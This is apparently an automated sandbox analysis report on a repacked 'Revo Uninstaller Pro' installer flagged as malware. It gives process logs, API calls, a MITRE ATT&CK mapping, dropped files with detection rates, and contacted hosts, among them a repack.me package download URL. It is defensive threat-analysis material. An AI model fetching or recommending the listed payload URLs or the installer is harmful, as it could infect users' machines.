Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation

Source: C:\Windows\System32\runonce.exe

Key value queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation Bias

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\PACK.EXE

Code function: 16_2_00FECBB8 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,DeleteObject,CloseHandle,

16_2_00FECBB8

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

Code function: 0_2_00403665 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,ExitProcess,CoUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403665

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	11 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 Component Object Model Hijacking	1 Component Object Model Hijacking	2 Obfuscated Files or Information	LSASS Memory	4 File and Directory Discovery	Remote Desktop Protocol	1 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	21 Windows Service	1 Access Token Manipulation	1 Software Packing	Security Account Manager	56 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	21 Registry Run Keys / Startup Folder	21 Windows Service	1 DLL Side-Loading	NTDS	231 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	1 File Deletion	LSA Secrets	2 Process Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	21 Registry Run Keys / Startup Folder	43 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Regsvr32	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Rundll32	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Revo.Uninstaller.Pro.v5.3.4.exe	17%	ReversingLabs	Win32.Malware.Nemesis

Dropped Files

Source	Detection	Scanner
C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RUExt.dll	0%	ReversingLabs
C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoAppBar.exe	0%	ReversingLabs
C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoCmd.exe	0%	ReversingLabs
C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUnPro.exe	0%	ReversingLabs
C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	0%	ReversingLabs
C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Uninstall.exe	0%	ReversingLabs
C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Vista\revoflt.sys	2%	ReversingLabs
C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Win10\revoflt.sys	0%	ReversingLabs
C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.del (copy)	0%	ReversingLabs
C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.sys	0%	ReversingLabs
C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\tsjtmfdm[1].pkg	30%	ReversingLabs
C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654075368040.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654079011640.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654087472252.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654101308068.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654106048056.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\PACK.EXE	30%	ReversingLabs
C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	25%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\INetC.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\LangDLL.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\nsDialogs.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\nsExec.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsyB8DA.tmp\INetC.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsyB8DA.tmp\System.dll	0%	ReversingLabs
C:\Windows\System32\drivers\SETB88F.tmp	0%	ReversingLabs
C:\Windows\system32\DRIVERS\revoflt.sys (copy)	0%	ReversingLabs

Source	Detection	Scanner	Label
http:////file:////www.web.OS	0%	Avira URL Cloud	safe
https://mail.repack.me/y	0%	Avira URL Cloud	safe
https://mail.repack.me/tsjtmfdm.pkgo	0%	Avira URL Cloud	safe
https://crashpad.chromium.org/https://crashpad.chromium.org/bug/new	0%	Avira URL Cloud	safe
http://autoupdate-staging.services.ams.osa/netinstallervwindows?&One	0%	Avira URL Cloud	safe
https://legal.opera.com/terms	0%	Avira URL Cloud	safe
http://localhost:3001api/prefs/?product=$1&version=$2..	0%	Avira URL Cloud	safe
http://www.mirage-systems.de/tq	0%	Avira URL Cloud	safe
http://www.mirage-systems.de/Q	0%	Avira URL Cloud	safe
http://crl.microsoftRR	0%	Avira URL Cloud	safe
http://www.mirage-systems.de/a	0%	Avira URL Cloud	safe
https://www.revouninstallerpro.com/db/ilogs/Uninstaller	0%	Avira URL Cloud	safe
https://crashpad.chromium.org/	0%	Avira URL Cloud	safe
http://www.animation.arthouse.org	0%	Avira URL Cloud	safe
https://sourcecode.opera.com	0%	Avira URL Cloud	safe
https://gamemaker.io)	0%	Avira URL Cloud	safe
http://www.Licence-Protector.com	0%	Avira URL Cloud	safe
https://mail.repack.me/	0%	Avira URL Cloud	safe
https://www.revouninstallerpro.com/db/ilogs/.ruelDelete	0%	Avira URL Cloud	safe
https://mail.repack.me/rosoft	0%	Avira URL Cloud	safe
http://www.mirage-systems.de/%operationName%	0%	Avira URL Cloud	safe
http://www.vsrevogroup.com	0%	Avira URL Cloud	safe
https://mail.repack.me/tsjtmfdm.pkg	0%	Avira URL Cloud	safe
https://legal.opera.com/terms.	0%	Avira URL Cloud	safe
https://crashpad.chromium.org/bug/new	0%	Avira URL Cloud	safe
http://www.mirage-systems.de/	0%	Avira URL Cloud	safe
http://repacks.ddns.nethttps://repack.me/ad.htmlopen	0%	Avira URL Cloud	safe
http://www.borland.com/namespaces/TypesA	0%	Avira URL Cloud	safe
https://repack.me/ad.html	0%	Avira URL Cloud	safe
http://www.borland.com/namespaces/Types	0%	Avira URL Cloud	safe
http://repacks.ddns.netopen	0%	Avira URL Cloud	safe
https://mail.repack.me/tsjtmfdm.pkg2	0%	Avira URL Cloud	safe
https://www.revouninstaller.comAffHomewww.revouninstaller.comwww.revouninstallerpro.com	0%	Avira URL Cloud	safe
http://www.word-pdf-converter.com/5.67B160777-E232-46C5-8DC0-5BC8B49E77496.1	0%	Avira URL Cloud	safe
https://legal.opera.com/eula/computers	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mail.repack.me	194.87.189.43	true	false	unknown
na-download.opera.com	107.167.96.36	true	false	high
na-autoupdate.opera.com	107.167.96.38	true	false	high
submit-trn.osp.opera.software	107.167.125.189	true	false	high
trn.lb.opera.technology	107.167.96.30	true	false	high
pastebin.com	104.20.3.235	true	false	high
autoupdate.geo.opera.com	unknown	unknown	false	high
download3.operacdn.com	unknown	unknown	false	high
desktop-netinstaller-sub.osp.opera.software	unknown	unknown	false	high
features.opera-api2.com	unknown	unknown	false	high
autoupdate.opera.com	unknown	unknown	false	high
net.geo.opera.com	unknown	unknown	false	high
download.opera.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://features.opera-api2.com/api/v2/features?country=US&language=en-GB&uuid=a6c287cc-47e5-4bf0-9dac-fbaf9040d09e&product=&channel=Stable&version=115.0.5322.77	false		high
https://desktop-netinstaller-sub.osp.opera.software/v1/binary	false		high
https://download.opera.com/download/get/?id=69044&autoupdate=1&ni=1&stream=stable&utm_campaign=r10&utm_medium=apb&utm_source=DWNLST&niuid=cd9f81c6-729a-4d95-ac71-1ebba75bfc7b	false		high
https://mail.repack.me/tsjtmfdm.pkg	false	Avira URL Cloud: safe	unknown
https://autoupdate.opera.com/me/	false		high
https://autoupdate.geo.opera.com/v5/netinstaller/opera/Stable/windows/x64	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://mail.repack.me/y	Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2362580830.000000000B29C000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.2191327824.000000000B29C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
